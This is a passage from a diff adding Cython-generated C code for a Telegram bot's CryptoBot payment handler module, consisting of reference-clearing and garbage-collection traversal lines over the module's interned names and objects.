Py_CLEAR(clear_module_state->__pyx_type_8handlers_8payments_13cryprobot_pay___pyx_scope_struct_3_check_hash); + Py_CLEAR(clear_module_state->__pyx_ptype_8handlers_8payments_13cryprobot_pay___pyx_scope_struct_4_process_crypto_payment); + Py_CLEAR(clear_module_state->__pyx_type_8handlers_8payments_13cryprobot_pay___pyx_scope_struct_4_process_crypto_payment); + Py_CLEAR(clear_module_state->__pyx_ptype_8handlers_8payments_13cryprobot_pay___pyx_scope_struct_5_process_enter_custom_amount); + Py_CLEAR(clear_module_state->__pyx_type_8handlers_8payments_13cryprobot_pay___pyx_scope_struct_5_process_enter_custom_amount); + Py_CLEAR(clear_module_state->__pyx_ptype_8handlers_8payments_13cryprobot_pay___pyx_scope_struct_6_process_custom_amount_input); + Py_CLEAR(clear_module_state->__pyx_type_8handlers_8payments_13cryprobot_pay___pyx_scope_struct_6_process_custom_amount_input); + Py_CLEAR(clear_module_state->__pyx_n_s_AioCryptoPay); + Py_CLEAR(clear_module_state->__pyx_n_s_Any); + Py_CLEAR(clear_module_state->__pyx_n_u_CRYPTOSALE); + Py_CLEAR(clear_module_state->__pyx_n_s_CRYPTO_BOT_ENABLE); + Py_CLEAR(clear_module_state->__pyx_n_s_CRYPTO_BOT_TOKEN); + Py_CLEAR(clear_module_state->__pyx_kp_u_CRYPTO_HASH); + Py_CLEAR(clear_module_state->__pyx_kp_u_Crypto_Pay_Api_Signature); + Py_CLEAR(clear_module_state->__pyx_n_s_F); + Py_CLEAR(clear_module_state->__pyx_n_s_FSMContext); + Py_CLEAR(clear_module_state->__pyx_n_s_InlineKeyboardBuilder); + Py_CLEAR(clear_module_state->__pyx_n_s_InlineKeyboardButton); + Py_CLEAR(clear_module_state->__pyx_n_s_MAIN_NET); + Py_CLEAR(clear_module_state->__pyx_n_s_Networks); + Py_CLEAR(clear_module_state->__pyx_kp_u_No_value); + Py_CLEAR(clear_module_state->__pyx_n_s_PAYMENT_OPTIONS); + Py_CLEAR(clear_module_state->__pyx_n_s_PROJECTMANECONGIGURE); + Py_CLEAR(clear_module_state->__pyx_kp_u_Payment_succeeded_for_user_id); + Py_CLEAR(clear_module_state->__pyx_n_s_RUB_TO_USDT); + Py_CLEAR(clear_module_state->__pyx_n_s_ReplenishBalanceState); + Py_CLEAR(clear_module_state->__pyx_n_s_Response); + Py_CLEAR(clear_module_state->__pyx_n_s_Router); + Py_CLEAR(clear_module_state->__pyx_n_s_State); + Py_CLEAR(clear_module_state->__pyx_n_s_StatesGroup); + Py_CLEAR(clear_module_state->__pyx_n_u_USDT); + Py_CLEAR(clear_module_state->__pyx_n_s_ValueError); + Py_CLEAR(clear_module_state->__pyx_kp_u__10); + Py_CLEAR(clear_module_state->__pyx_kp_u__11); + Py_CLEAR(clear_module_state->__pyx_kp_u__12); + Py_CLEAR(clear_module_state->__pyx_n_u__13); + Py_CLEAR(clear_module_state->__pyx_kp_u__14); + Py_CLEAR(clear_module_state->__pyx_kp_u__15); + Py_CLEAR(clear_module_state->__pyx_kp_u__16); + Py_CLEAR(clear_module_state->__pyx_kp_u__17); + Py_CLEAR(clear_module_state->__pyx_kp_u__19); + Py_CLEAR(clear_module_state->__pyx_kp_u__2); + Py_CLEAR(clear_module_state->__pyx_kp_u__20); + Py_CLEAR(clear_module_state->__pyx_kp_u__21); + Py_CLEAR(clear_module_state->__pyx_kp_u__25); + Py_CLEAR(clear_module_state->__pyx_kp_u__27); + Py_CLEAR(clear_module_state->__pyx_kp_u__28); + Py_CLEAR(clear_module_state->__pyx_kp_u__3); + Py_CLEAR(clear_module_state->__pyx_kp_u__31); + Py_CLEAR(clear_module_state->__pyx_kp_u__32); + Py_CLEAR(clear_module_state->__pyx_kp_u__33); + Py_CLEAR(clear_module_state->__pyx_kp_u__34); + Py_CLEAR(clear_module_state->__pyx_n_s__43); + Py_CLEAR(clear_module_state->__pyx_kp_u__6); + Py_CLEAR(clear_module_state->__pyx_kp_u__8); + Py_CLEAR(clear_module_state->__pyx_kp_u__9); + Py_CLEAR(clear_module_state->__pyx_n_s_add_connection); + Py_CLEAR(clear_module_state->__pyx_n_s_add_payment); + Py_CLEAR(clear_module_state->__pyx_n_s_aiocryptopay); + Py_CLEAR(clear_module_state->__pyx_n_s_aiogram); + Py_CLEAR(clear_module_state->__pyx_n_s_aiogram_fsm_context); + Py_CLEAR(clear_module_state->__pyx_n_s_aiogram_fsm_state); + Py_CLEAR(clear_module_state->__pyx_n_s_aiogram_types); + Py_CLEAR(clear_module_state->__pyx_n_s_aiogram_utils_keyboard); + Py_CLEAR(clear_module_state->__pyx_n_s_aiohttp); + Py_CLEAR(clear_module_state->__pyx_n_s_amount); + Py_CLEAR(clear_module_state->__pyx_kp_u_amount_2); + Py_CLEAR(clear_module_state->__pyx_n_s_amount_str); + Py_CLEAR(clear_module_state->__pyx_n_s_answer); + Py_CLEAR(clear_module_state->__pyx_n_s_args); + Py_CLEAR(clear_module_state->__pyx_n_s_as_markup); + Py_CLEAR(clear_module_state->__pyx_n_s_asset); + Py_CLEAR(clear_module_state->__pyx_n_s_asyncio_coroutines); + Py_CLEAR(clear_module_state->__pyx_n_s_await); + Py_CLEAR(clear_module_state->__pyx_n_s_balance); + Py_CLEAR(clear_module_state->__pyx_n_s_body_text); + Py_CLEAR(clear_module_state->__pyx_n_s_bot_invoice_url); + Py_CLEAR(clear_module_state->__pyx_n_u_bot_invoice_url); + Py_CLEAR(clear_module_state->__pyx_n_s_builder); + Py_CLEAR(clear_module_state->__pyx_n_s_callback_data); + Py_CLEAR(clear_module_state->__pyx_n_u_callback_data); + Py_CLEAR(clear_module_state->__pyx_n_s_callback_query); + Py_CLEAR(clear_module_state->__pyx_n_s_chat); + Py_CLEAR(clear_module_state->__pyx_n_s_check_connection_exists); + Py_CLEAR(clear_module_state->__pyx_n_s_check_hash); + Py_CLEAR(clear_module_state->__pyx_n_s_check_signature); + Py_CLEAR(clear_module_state->__pyx_n_s_choosing_amount_crypto); + Py_CLEAR(clear_module_state->__pyx_n_s_class_getitem); + Py_CLEAR(clear_module_state->__pyx_n_s_cline_in_traceback); + Py_CLEAR(clear_module_state->__pyx_n_s_close); + Py_CLEAR(clear_module_state->__pyx_n_s_config); + Py_CLEAR(clear_module_state->__pyx_n_s_create_invoice); + Py_CLEAR(clear_module_state->__pyx_n_u_crypto); + Py_CLEAR(clear_module_state->__pyx_n_s_crypto_2); + Py_CLEAR(clear_module_state->__pyx_kp_u_crypto_amount); + Py_CLEAR(clear_module_state->__pyx_n_s_crypto_pay_signature); + Py_CLEAR(clear_module_state->__pyx_n_u_cryptobot); + Py_CLEAR(clear_module_state->__pyx_n_s_cryptobot_webhook); + Py_CLEAR(clear_module_state->__pyx_n_s_custom_payload); + Py_CLEAR(clear_module_state->__pyx_n_s_data); + Py_CLEAR(clear_module_state->__pyx_n_s_database); + Py_CLEAR(clear_module_state->__pyx_n_s_debug); + Py_CLEAR(clear_module_state->__pyx_n_s_description); + Py_CLEAR(clear_module_state->__pyx_n_s_dict); + Py_CLEAR(clear_module_state->__pyx_kp_u_disable); + Py_CLEAR(clear_module_state->__pyx_n_s_doc); + Py_CLEAR(clear_module_state->__pyx_n_s_e); + Py_CLEAR(clear_module_state->__pyx_kp_u_enable); + Py_CLEAR(clear_module_state->__pyx_n_u_enter_custom_amount_crypto); + Py_CLEAR(clear_module_state->__pyx_n_s_entering_custom_amount_crypto); + Py_CLEAR(clear_module_state->__pyx_n_s_error); + Py_CLEAR(clear_module_state->__pyx_n_s_exists); + Py_CLEAR(clear_module_state->__pyx_n_s_expected_hash); + Py_CLEAR(clear_module_state->__pyx_kp_u_gc); + Py_CLEAR(clear_module_state->__pyx_n_s_get); + Py_CLEAR(clear_module_state->__pyx_n_s_get_key_count); + Py_CLEAR(clear_module_state->__pyx_n_s_handlers_payments_cryprobot_pay); + Py_CLEAR(clear_module_state->__pyx_kp_s_handlers_payments_cryprobot_pay_2); + Py_CLEAR(clear_module_state->__pyx_n_s_handlers_payments_gift); + Py_CLEAR(clear_module_state->__pyx_n_s_handlers_payments_utils); + Py_CLEAR(clear_module_state->__pyx_n_s_handlers_texts); + Py_CLEAR(clear_module_state->__pyx_kp_u_hash_cryptobot); + Py_CLEAR(clear_module_state->__pyx_n_s_headers); + Py_CLEAR(clear_module_state->__pyx_n_s_i); + Py_CLEAR(clear_module_state->__pyx_n_s_id); + Py_CLEAR(clear_module_state->__pyx_n_s_import); + Py_CLEAR(clear_module_state->__pyx_n_s_info); + Py_CLEAR(clear_module_state->__pyx_n_s_init_subclass); + Py_CLEAR(clear_module_state->__pyx_n_s_invoice); + Py_CLEAR(clear_module_state->__pyx_n_u_invoice_paid); + Py_CLEAR(clear_module_state->__pyx_n_s_is_coroutine); + Py_CLEAR(clear_module_state->__pyx_n_s_isdigit); + Py_CLEAR(clear_module_state->__pyx_kp_u_isenabled); + Py_CLEAR(clear_module_state->__pyx_n_s_json); + Py_CLEAR(clear_module_state->__pyx_n_s_key_count); + Py_CLEAR(clear_module_state->__pyx_n_s_logger); + Py_CLEAR(clear_module_state->__pyx_n_s_main); + Py_CLEAR(clear_module_state->__pyx_n_s_message); + Py_CLEAR(clear_module_state->__pyx_n_s_metaclass); + Py_CLEAR(clear_module_state->__pyx_n_s_module); + Py_CLEAR(clear_module_state->__pyx_n_s_mro_entries); + Py_CLEAR(clear_module_state->__pyx_n_s_name); + Py_CLEAR(clear_module_state->__pyx_n_s_network); + Py_CLEAR(clear_module_state->__pyx_n_u_paid); + Py_CLEAR(clear_module_state->__pyx_n_u_pay); + Py_CLEAR(clear_module_state->__pyx_n_u_pay_cryptobot); + Py_CLEAR(clear_module_state->__pyx_n_s_payload); + Py_CLEAR(clear_module_state->__pyx_n_u_payload); + Py_CLEAR(clear_module_state->__pyx_n_s_prepare); + Py_CLEAR(clear_module_state->__pyx_n_s_process_amount_selection); + Py_CLEAR(clear_module_state->__pyx_n_s_process_callback_pay_cryptobot); + Py_CLEAR(clear_module_state->__pyx_n_s_process_crypto_payment); + Py_CLEAR(clear_module_state->__pyx_n_s_process_custom_amount_input); + Py_CLEAR(clear_module_state->__pyx_n_s_process_enter_custom_amount); + Py_CLEAR(clear_module_state->__pyx_n_s_qualname); + Py_CLEAR(clear_module_state->__pyx_n_s_range); + Py_CLEAR(clear_module_state->__pyx_n_s_reply_markup); + Py_CLEAR(clear_module_state->__pyx_n_s_request); + Py_CLEAR(clear_module_state->__pyx_n_s_router); + Py_CLEAR(clear_module_state->__pyx_n_s_row); + Py_CLEAR(clear_module_state->__pyx_n_s_send); + Py_CLEAR(clear_module_state->__pyx_n_s_send_payment_success_notificatio); + Py_CLEAR(clear_module_state->__pyx_n_s_session); + Py_CLEAR(clear_module_state->__pyx_n_s_set_name); + Py_CLEAR(clear_module_state->__pyx_n_s_set_state); + Py_CLEAR(clear_module_state->__pyx_kp_u_solonet_sup); + Py_CLEAR(clear_module_state->__pyx_n_s_split); + Py_CLEAR(clear_module_state->__pyx_n_s_startswith); + Py_CLEAR(clear_module_state->__pyx_n_s_state); + Py_CLEAR(clear_module_state->__pyx_n_s_status); + Py_CLEAR(clear_module_state->__pyx_n_u_status); + Py_CLEAR(clear_module_state->__pyx_n_s_super); + Py_CLEAR(clear_module_state->__pyx_n_s_test); + Py_CLEAR(clear_module_state->__pyx_n_s_text); + Py_CLEAR(clear_module_state->__pyx_n_u_text); + Py_CLEAR(clear_module_state->__pyx_n_s_tg_id); + Py_CLEAR(clear_module_state->__pyx_n_s_throw); + Py_CLEAR(clear_module_state->__pyx_n_s_token); + Py_CLEAR(clear_module_state->__pyx_n_s_trial); + Py_CLEAR(clear_module_state->__pyx_n_s_types); + Py_CLEAR(clear_module_state->__pyx_kp_s_types_CallbackQuery); + Py_CLEAR(clear_module_state->__pyx_kp_s_types_Message); + Py_CLEAR(clear_module_state->__pyx_n_s_typing); + Py_CLEAR(clear_module_state->__pyx_n_s_update_balance); + Py_CLEAR(clear_module_state->__pyx_n_s_update_data); + Py_CLEAR(clear_module_state->__pyx_n_u_update_type); + Py_CLEAR(clear_module_state->__pyx_n_s_url); + Py_CLEAR(clear_module_state->__pyx_n_s_user_id); + Py_CLEAR(clear_module_state->__pyx_kp_u_user_id_amount); + Py_CLEAR(clear_module_state->__pyx_n_s_user_id_str); + Py_CLEAR(clear_module_state->__pyx_n_s_waiting_for_payment_confirmation); + Py_CLEAR(clear_module_state->__pyx_n_s_warning); + Py_CLEAR(clear_module_state->__pyx_n_s_web); + Py_CLEAR(clear_module_state->__pyx_float_0_0); + Py_CLEAR(clear_module_state->__pyx_int_0); + Py_CLEAR(clear_module_state->__pyx_int_1); + Py_CLEAR(clear_module_state->__pyx_int_2); + Py_CLEAR(clear_module_state->__pyx_int_200); + Py_CLEAR(clear_module_state->__pyx_int_400); + Py_CLEAR(clear_module_state->__pyx_int_500); + Py_CLEAR(clear_module_state->__pyx_codeobj_); + Py_CLEAR(clear_module_state->__pyx_tuple__4); + Py_CLEAR(clear_module_state->__pyx_tuple__7); + Py_CLEAR(clear_module_state->__pyx_tuple__23); + Py_CLEAR(clear_module_state->__pyx_tuple__29); + Py_CLEAR(clear_module_state->__pyx_tuple__35); + Py_CLEAR(clear_module_state->__pyx_tuple__36); + Py_CLEAR(clear_module_state->__pyx_tuple__37); + Py_CLEAR(clear_module_state->__pyx_tuple__38); + Py_CLEAR(clear_module_state->__pyx_tuple__39); + Py_CLEAR(clear_module_state->__pyx_tuple__40); + Py_CLEAR(clear_module_state->__pyx_tuple__41); + Py_CLEAR(clear_module_state->__pyx_tuple__42); + Py_CLEAR(clear_module_state->__pyx_codeobj__5); + Py_CLEAR(clear_module_state->__pyx_codeobj__18); + Py_CLEAR(clear_module_state->__pyx_codeobj__22); + Py_CLEAR(clear_module_state->__pyx_codeobj__24); + Py_CLEAR(clear_module_state->__pyx_codeobj__26); + Py_CLEAR(clear_module_state->__pyx_codeobj__30); + return 0; +} +#endif +/* #### Code section: module_state_traverse ### */ +#if CYTHON_USE_MODULE_STATE +static int __pyx_m_traverse(PyObject *m, visitproc visit, void *arg) { + __pyx_mstate *traverse_module_state = __pyx_mstate(m); + if (!traverse_module_state) return 0; + Py_VISIT(traverse_module_state->__pyx_d); + Py_VISIT(traverse_module_state->__pyx_b); + Py_VISIT(traverse_module_state->__pyx_cython_runtime); + Py_VISIT(traverse_module_state->__pyx_empty_tuple); + Py_VISIT(traverse_module_state->__pyx_empty_bytes); + Py_VISIT(traverse_module_state->__pyx_empty_unicode); + #ifdef __Pyx_CyFunction_USED + Py_VISIT(traverse_module_state->__pyx_CyFunctionType); + #endif + #ifdef __Pyx_FusedFunction_USED + Py_VISIT(traverse_module_state->__pyx_FusedFunctionType); + #endif + Py_VISIT(traverse_module_state->__pyx_ptype_8handlers_8payments_13cryprobot_pay___pyx_scope_struct__process_callback_pay_cryptobot); + Py_VISIT(traverse_module_state->__pyx_type_8handlers_8payments_13cryprobot_pay___pyx_scope_struct__process_callback_pay_cryptobot); + Py_VISIT(traverse_module_state->__pyx_ptype_8handlers_8payments_13cryprobot_pay___pyx_scope_struct_1_process_amount_selection); + Py_VISIT(traverse_module_state->__pyx_type_8handlers_8payments_13cryprobot_pay___pyx_scope_struct_1_process_amount_selection); + Py_VISIT(traverse_module_state->__pyx_ptype_8handlers_8payments_13cryprobot_pay___pyx_scope_struct_2_cryptobot_webhook); + Py_VISIT(traverse_module_state->__pyx_type_8handlers_8payments_13cryprobot_pay___pyx_scope_struct_2_cryptobot_webhook); + Py_VISIT(traverse_module_state->__pyx_ptype_8handlers_8payments_13cryprobot_pay___pyx_scope_struct_3_check_hash); + Py_VISIT(traverse_module_state->__pyx_type_8handlers_8payments_13cryprobot_pay___pyx_scope_struct_3_check_hash); + Py_VISIT(traverse_module_state->__pyx_ptype_8handlers_8payments_13cryprobot_pay___pyx_scope_struct_4_process_crypto_payment); + Py_VISIT(traverse_module_state->__pyx_type_8handlers_8payments_13cryprobot_pay___pyx_scope_struct_4_process_crypto_payment); + Py_VISIT(traverse_module_state->__pyx_ptype_8handlers_8payments_13cryprobot_pay___pyx_scope_struct_5_process_enter_custom_amount); + Py_VISIT(traverse_module_state->__pyx_type_8handlers_8payments_13cryprobot_pay___pyx_scope_struct_5_process_enter_custom_amount); + Py_VISIT(traverse_module_state->__pyx_ptype_8handlers_8payments_13cryprobot_pay___pyx_scope_struct_6_process_custom_amount_input); + Py_VISIT(traverse_module_state->__pyx_type_8handlers_8payments_13cryprobot_pay___pyx_scope_struct_6_process_custom_amount_input); + Py_VISIT(traverse_module_state->__pyx_n_s_AioCryptoPay); + Py_VISIT(traverse_module_state->__pyx_n_s_Any); + Py_VISIT(traverse_module_state->__pyx_n_u_CRYPTOSALE); + Py_VISIT(traverse_module_state->__pyx_n_s_CRYPTO_BOT_ENABLE); + Py_VISIT(traverse_module_state->__pyx_n_s_CRYPTO_BOT_TOKEN); + Py_VISIT(traverse_module_state->__pyx_kp_u_CRYPTO_HASH); + Py_VISIT(traverse_module_state->__pyx_kp_u_Crypto_Pay_Api_Signature); + Py_VISIT(traverse_module_state->__pyx_n_s_F); + Py_VISIT(traverse_module_state->__pyx_n_s_FSMContext); + Py_VISIT(traverse_module_state->__pyx_n_s_InlineKeyboardBuilder); + Py_VISIT(traverse_module_state->__pyx_n_s_InlineKeyboardButton); + Py_VISIT(traverse_module_state->__pyx_n_s_MAIN_NET); + Py_VISIT(traverse_module_state->__pyx_n_s_Networks); + Py_VISIT(traverse_module_state->__pyx_kp_u_No_value); + Py_VISIT(traverse_module_state->__pyx_n_s_PAYMENT_OPTIONS); + Py_VISIT(traverse_module_state->__pyx_n_s_PROJECTMANECONGIGURE); + Py_VISIT(traverse_module_state->__pyx_kp_u_Payment_succeeded_for_user_id); + Py_VISIT(traverse_module_state->__pyx_n_s_RUB_TO_USDT); + Py_VISIT(traverse_module_state->__pyx_n_s_ReplenishBalanceState); + Py_VISIT(traverse_module_state->__pyx_n_s_Response); + Py_VISIT(traverse_module_state->__pyx_n_s_Router); + Py_VISIT(traverse_module_state->__pyx_n_s_State); + Py_VISIT(traverse_module_state->__pyx_n_s_StatesGroup); + Py_VISIT(traverse_module_state->__pyx_n_u_USDT); + Py_VISIT(traverse_module_state->__pyx_n_s_ValueError); + Py_VISIT(traverse_module_state->__pyx_kp_u__10); + Py_VISIT(traverse_module_state->__pyx_kp_u__11); + Py_VISIT(traverse_module_state->__pyx_kp_u__12); + Py_VISIT(traverse_module_state->__pyx_n_u__13); + Py_VISIT(traverse_module_state->__pyx_kp_u__14); + Py_VISIT(traverse_module_state->__pyx_kp_u__15); + Py_VISIT(traverse_module_state->__pyx_kp_u__16); + Py_VISIT(traverse_module_state->__pyx_kp_u__17); + Py_VISIT(traverse_module_state->__pyx_kp_u__19); + Py_VISIT(traverse_module_state->__pyx_kp_u__2); + Py_VISIT(traverse_module_state->__pyx_kp_u__20); + Py_VISIT(traverse_module_state->__pyx_kp_u__21); + Py_VISIT(traverse_module_state->__pyx_kp_u__25); + Py_VISIT(traverse_module_state->__pyx_kp_u__27); + Py_VISIT(traverse_module_state->__pyx_kp_u__28); + Py_VISIT(traverse_module_state->__pyx_kp_u__3); + Py_VISIT(traverse_module_state->__pyx_kp_u__31); + Py_VISIT(traverse_module_state->__pyx_kp_u__32); + Py_VISIT(traverse_module_state->__pyx_kp_u__33); + Py_VISIT(traverse_module_state->__pyx_kp_u__34); + Py_VISIT(traverse_module_state->__pyx_n_s__43); + Py_VISIT(traverse_module_state->__pyx_kp_u__6); + Py_VISIT(traverse_module_state->__pyx_kp_u__8); + Py_VISIT(traverse_module_state->__pyx_kp_u__9); + Py_VISIT(traverse_module_state->__pyx_n_s_add_connection); + Py_VISIT(traverse_module_state->__pyx_n_s_add_payment); + Py_VISIT(traverse_module_state->__pyx_n_s_aiocryptopay); + Py_VISIT(traverse_module_state->__pyx_n_s_aiogram); + Py_VISIT(traverse_module_state->__pyx_n_s_aiogram_fsm_context); + Py_VISIT(traverse_module_state->__pyx_n_s_aiogram_fsm_state); + Py_VISIT(traverse_module_state->__pyx_n_s_aiogram_types); + Py_VISIT(traverse_module_state->__pyx_n_s_aiogram_utils_keyboard); + Py_VISIT(traverse_module_state->__pyx_n_s_aiohttp); + Py_VISIT(traverse_module_state->__pyx_n_s_amount); + Py_VISIT(traverse_module_state->__pyx_kp_u_amount_2); + Py_VISIT(traverse_module_state->__pyx_n_s_amount_str); + Py_VISIT(traverse_module_state->__pyx_n_s_answer); + Py_VISIT(traverse_module_state->__pyx_n_s_args); + Py_VISIT(traverse_module_state->__pyx_n_s_as_markup); + Py_VISIT(traverse_module_state->__pyx_n_s_asset); + Py_VISIT(traverse_module_state->__pyx_n_s_asyncio_coroutines); + Py_VISIT(traverse_module_state->__pyx_n_s_await); + Py_VISIT(traverse_module_state->__pyx_n_s_balance); + Py_VISIT(traverse_module_state->__pyx_n_s_body_text); + Py_VISIT(traverse_module_state->__pyx_n_s_bot_invoice_url); + Py_VISIT(traverse_module_state->__pyx_n_u_bot_invoice_url); + Py_VISIT(traverse_module_state->__pyx_n_s_builder); + Py_VISIT(traverse_module_state->__pyx_n_s_callback_data); + Py_VISIT(traverse_module_state->__pyx_n_u_callback_data); + Py_VISIT(traverse_module_state->__pyx_n_s_callback_query); + Py_VISIT(traverse_module_state->__pyx_n_s_chat); + Py_VISIT(traverse_module_state->__pyx_n_s_check_connection_exists); + Py_VISIT(traverse_module_state->__pyx_n_s_check_hash); + Py_VISIT(traverse_module_state->__pyx_n_s_check_signature); + Py_VISIT(traverse_module_state->__pyx_n_s_choosing_amount_crypto); + Py_VISIT(traverse_module_state->__pyx_n_s_class_getitem); + Py_VISIT(traverse_module_state->__pyx_n_s_cline_in_traceback); + Py_VISIT(traverse_module_state->__pyx_n_s_close); + Py_VISIT(traverse_module_state->__pyx_n_s_config); + Py_VISIT(traverse_module_state->__pyx_n_s_create_invoice); + Py_VISIT(traverse_module_state->__pyx_n_u_crypto); + Py_VISIT(traverse_module_state->__pyx_n_s_crypto_2); + Py_VISIT(traverse_module_state->__pyx_kp_u_crypto_amount); + Py_VISIT(traverse_module_state->__pyx_n_s_crypto_pay_signature); + Py_VISIT(traverse_module_state->__pyx_n_u_cryptobot); + Py_VISIT(traverse_module_state->__pyx_n_s_cryptobot_webhook); + Py_VISIT(traverse_module_state->__pyx_n_s_custom_payload); + Py_VISIT(traverse_module_state->__pyx_n_s_data); + Py_VISIT(traverse_module_state->__pyx_n_s_database); + Py_VISIT(traverse_module_state->__pyx_n_s_debug); + Py_VISIT(traverse_module_state->__pyx_n_s_description); + Py_VISIT(traverse_module_state->__pyx_n_s_dict); + Py_VISIT(traverse_module_state->__pyx_kp_u_disable); + Py_VISIT(traverse_module_state->__pyx_n_s_doc); + Py_VISIT(traverse_module_state->__pyx_n_s_e); + Py_VISIT(traverse_module_state->__pyx_kp_u_enable); + Py_VISIT(traverse_module_state->__pyx_n_u_enter_custom_amount_crypto); + Py_VISIT(traverse_module_state->__pyx_n_s_entering_custom_amount_crypto); + Py_VISIT(traverse_module_state->__pyx_n_s_error); + Py_VISIT(traverse_module_state->__pyx_n_s_exists); + Py_VISIT(traverse_module_state->__pyx_n_s_expected_hash); + Py_VISIT(traverse_module_state->__pyx_kp_u_gc); + Py_VISIT(traverse_module_state->__pyx_n_s_get); + Py_VISIT(traverse_module_state->__pyx_n_s_get_key_count); + Py_VISIT(traverse_module_state->__pyx_n_s_handlers_payments_cryprobot_pay); + Py_VISIT(traverse_module_state->__pyx_kp_s_handlers_payments_cryprobot_pay_2); + Py_VISIT(traverse_module_state->__pyx_n_s_handlers_payments_gift); + Py_VISIT(traverse_module_state->__pyx_n_s_handlers_payments_utils); + Py_VISIT(traverse_module_state->__pyx_n_s_handlers_texts); + Py_VISIT(traverse_module_state->__pyx_kp_u_hash_cryptobot); + Py_VISIT(traverse_module_state->__pyx_n_s_headers); + Py_VISIT(traverse_module_state->__pyx_n_s_i); + Py_VISIT(traverse_module_state->__pyx_n_s_id); + Py_VISIT(traverse_module_state->__pyx_n_s_import); + Py_VISIT(traverse_module_state->__pyx_n_s_info); + Py_VISIT(traverse_module_state->__pyx_n_s_init_subclass); + Py_VISIT(traverse_module_state->__pyx_n_s_invoice); + Py_VISIT(traverse_module_state->__pyx_n_u_invoice_paid); + Py_VISIT(traverse_module_state->__pyx_n_s_is_coroutine); + Py_VISIT(traverse_module_state->__pyx_n_s_isdigit); + Py_VISIT(traverse_module_state->__pyx_kp_u_isenabled); + Py_VISIT(traverse_module_state->__pyx_n_s_json); + Py_VISIT(traverse_module_state->__pyx_n_s_key_count); + Py_VISIT(traverse_module_state->__pyx_n_s_logger); + Py_VISIT(traverse_module_state->__pyx_n_s_main); + Py_VISIT(traverse_module_state->__pyx_n_s_message); + Py_VISIT(traverse_module_state->__pyx_n_s_metaclass); + Py_VISIT(traverse_module_state->__pyx_n_s_module); + Py_VISIT(traverse_module_state->__pyx_n_s_mro_entries); + Py_VISIT(traverse_module_state->__pyx_n_s_name); + Py_VISIT(traverse_module_state->__pyx_n_s_network); + Py_VISIT(traverse_module_state->__pyx_n_u_paid); + Py_VISIT(traverse_module_state->__pyx_n_u_pay); + Py_VISIT(traverse_module_state->__pyx_n_u_pay_cryptobot); + Py_VISIT(traverse_module_state->__pyx_n_s_payload); + Py_VISIT(traverse_module_state->__pyx_n_u_payload); + Py_VISIT(traverse_module_state->__pyx_n_s_prepare); + Py_VISIT(traverse_module_state->__pyx_n_s_process_amount_selection); + Py_VISIT(traverse_module_state->__pyx_n_s_process_callback_pay_cryptobot); + Py_VISIT(traverse_module_state->__pyx_n_s_process_crypto_payment); + Py_VISIT(traverse_module_state->__pyx_n_s_process_custom_amount_input); + Py_VISIT(traverse_module_state->__pyx_n_s_process_enter_custom_amount); + Py_VISIT(traverse_module_state->__pyx_n_s_qualname); + Py_VISIT(traverse_module_state->__pyx_n_s_range); + Py_VISIT(traverse_module_state->__pyx_n_s_reply_markup); + Py_VISIT(traverse_module_state->__pyx_n_s_request); + Py_VISIT(traverse_module_state->__pyx_n_s_router); + Py_VISIT(traverse_module_state->__pyx_n_s_row); + Py_VISIT(traverse_module_state->__pyx_n_s_send); + Py_VISIT(traverse_module_state->__pyx_n_s_send_payment_success_notificatio); + Py_VISIT(traverse_module_state->__pyx_n_s_session); + Py_VISIT(traverse_module_state->__pyx_n_s_set_name); + Py_VISIT(traverse_module_state->__pyx_n_s_set_state); + Py_VISIT(traverse_module_state->__pyx_kp_u_solonet_sup); + Py_VISIT(traverse_module_state->__pyx_n_s_split); + Py_VISIT(traverse_module_state->__pyx_n_s_startswith); + Py_VISIT(traverse_module_state->__pyx_n_s_state); + Py_VISIT(traverse_module_state->__pyx_n_s_status); + Py_VISIT(traverse_module_state->__pyx_n_u_status); + Py_VISIT(traverse_module_state->__pyx_n_s_super); + Py_VISIT(traverse_module_state->__pyx_n_s_test); + Py_VISIT(traverse_module_state->__pyx_n_s_text); + Py_VISIT(traverse_module_state->__pyx_n_u_text); + Py_VISIT(traverse_module_state->__pyx_n_s_tg_id); + Py_VISIT(traverse_module_state->__pyx_n_s_throw); + Py_VISIT(traverse_module_state->__pyx_n_s_token); + Py_VISIT(traverse_module_state->__pyx_n_s_trial); + Py_VISIT(traverse_module_state->__pyx_n_s_types); + Py_VISIT(traverse_module_state->__pyx_kp_s_types_CallbackQuery); + Py_VISIT(traverse_module_state->__pyx_kp_s_types_Message); + Py_VISIT(traverse_module_state->__pyx_n_s_typing); + Py_VISIT(traverse_module_state->__pyx_n_s_update_balance); + Py_VISIT(traverse_module_state->__pyx_n_s_update_data); + Py_VISIT(traverse_module_state->__pyx_n_u_update_type); + Py_VISIT(traverse_module_state->__pyx_n_s_url); + Py_VISIT(traverse_module_state->__pyx_n_s_user_id); + Py_VISIT(traverse_module_state->__pyx_kp_u_user_id_amount); + Py_VISIT(traverse_module_state->__pyx_n_s_user_id_str); + Py_VISIT(traverse_module_state->__pyx_n_s_waiting_for_payment_confirmation); + Py_VISIT(traverse_module_state->__pyx_n_s_warning); + Py_VISIT(traverse_module_state->__pyx_n_s_web); + Py_VISIT(traverse_module_state->__pyx_float_0_0); + Py_VISIT(traverse_module_state->__pyx_int_0); + Py_VISIT(traverse_module_state->__pyx_int_1); + Py_VISIT(traverse_module_state->__pyx_int_2); + Py_VISIT(traverse_module_state->__pyx_int_200); + Py_VISIT(traverse_module_state->__pyx_int_400); + Py_VISIT(traverse_module_state->__pyx_int_500); + Py_VISIT(traverse_module_state->__pyx_codeobj_); + Py_VISIT(traverse_module_state->__pyx_tuple__4); + Py_VISIT(traverse_module_state->__pyx_tuple__7); + Py_VISIT(traverse_module_state->__pyx_tuple__23); + Py_VISIT(traverse_module_state->__pyx_tuple__29); + Py_VISIT(traverse_module_state->__pyx_tuple__35); + Py_VISIT(traverse_module_state->__pyx_tuple__36); + Py_VISIT(traverse_module_state->__pyx_tuple__37); + Py_VISIT(traverse_module_state->__pyx_tuple__38); + Py_VISIT(traverse_module_state->__pyx_tuple__39); + Py_VISIT(traverse_module_state->__pyx_tuple__40); + Py_VISIT(traverse_module_state->__pyx_tuple__41); + Py_VISIT(traverse_module_state->__pyx_tuple__42); + Py_VISIT(traverse_module_state->__pyx_codeobj__5); + Py_VISIT(traverse_module_state->__pyx_codeobj__18); + Py_VISIT(traverse_module_state->__pyx_codeobj__22); + Py_VISIT(traverse_module_state->__pyx_codeobj__24); + Py_VISIT(traverse_module_state->__pyx_codeobj__26); + Py_VISIT(traverse_module_state->__pyx_codeobj__30); + return 0; +} +#endif +/* #### Code section: module_state_defines ### */ +#define __pyx_d __pyx_mstate_global->__pyx_d +#define __pyx_b __pyx_mstate_global->__pyx_b +#define 